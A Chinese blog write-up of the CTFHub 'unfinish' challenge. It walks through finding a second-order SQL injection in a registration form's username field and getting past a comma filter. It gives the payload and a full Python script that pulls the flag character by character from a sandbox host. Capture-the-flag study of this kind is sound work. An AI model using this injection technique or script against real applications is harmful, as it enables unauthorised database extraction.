• CTFHub-unfinish


    unfinish

    打开是一个手机模板的登录页面,看了下源码,发现有个文件夹./uploads/,乱扫一通什么都没有

    还是到登陆页面,先试试万能密码

    有提示,看了下input标签,是前端检测,用burp抓包开始fuzz

    尝试了请求头,email和password注入,包括post数组尝试报错,都没有用

    emmmmm,思路断了

    去看了wp,发现是要尝试注册页面,接着做(思路太窄了

    登陆进来什么都没有,只显示了用户名

    而用户名是可控的,推测注册用户时会使用

    insert into table value('$email','$username','$password')

    尝试一下这里是不是二次注入(这里注入,登陆后可以看到结果

    语句0' + ascii(substr(database(),1,1)) +'0被过滤

    尝试了一遍,这里会检测逗号,用from 1 for 1代替掉逗号就行

    0' + ascii(substr(database() from 1 for 1)) +'0

    登录之后可以看到ascii码

    之后写脚本跑就可以了

    这里在写脚本之前测试了一下被ban掉的关键字,emmmm,information_schema被ban了,那么就爆不了表名,所以猜测表名为flag,测试了一下表名确实为flag,剩下的硬跑就可以了

    注册页面:./register.php

    登陆页面:./login.php

    这里给出爆破的脚本(偷了个懒,没加结束检测,看到flag爆完手动ctrl + c

    import requests
    import re
    
    
    register_url = 'http://challenge-c32051a67059fd4a.sandbox.ctfhub.com:10080/register.php'
    login_url = 'http://challenge-c32051a67059fd4a.sandbox.ctfhub.com:10080/login.php'
    
    
    for i in range(1, 100):
        register_data = {
            'email': '111@123.com%d' % i,
            'username': "0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i,
            'password': 'admin'
        }
        res = requests.post(url=register_url, data=register_data)
    
        login_data = {
            'email': '111@123.com%d' % i,
            'password': 'admin'
        }
        res_ = requests.post(url=login_url, data=login_data)
        code = re.search(r'<span class="user-name">s*(d*)s*</span>', res_.text)
        print(chr(int(code.group(1))), end='')
    
    
    

    爆出flag

    我的做题思路比较窄,比如这里的登陆页面联想到注册页面,还需要多做多看

    这里的二次注入也不是很熟悉,我的理解有点僵硬,觉得只能是单次请求的两次查询,这种思想要改正

    多肝,共勉

  • 相关阅读:
    连续多步骤业务流程的暂停、中断和恢复
    什么是XML
    泛型擦除和反射配置文件
    类加载器和反射
    网络安全协议(二)
    网络通信协议(一)
    多线程之线程安全
    JAVA之线程池
    JAVA之多线程
    2020/8/1 JAVA之IO流(四)
  • 原文地址:https://www.cnblogs.com/R3col/p/12690413.html
Copyright © 2020-2023  润新知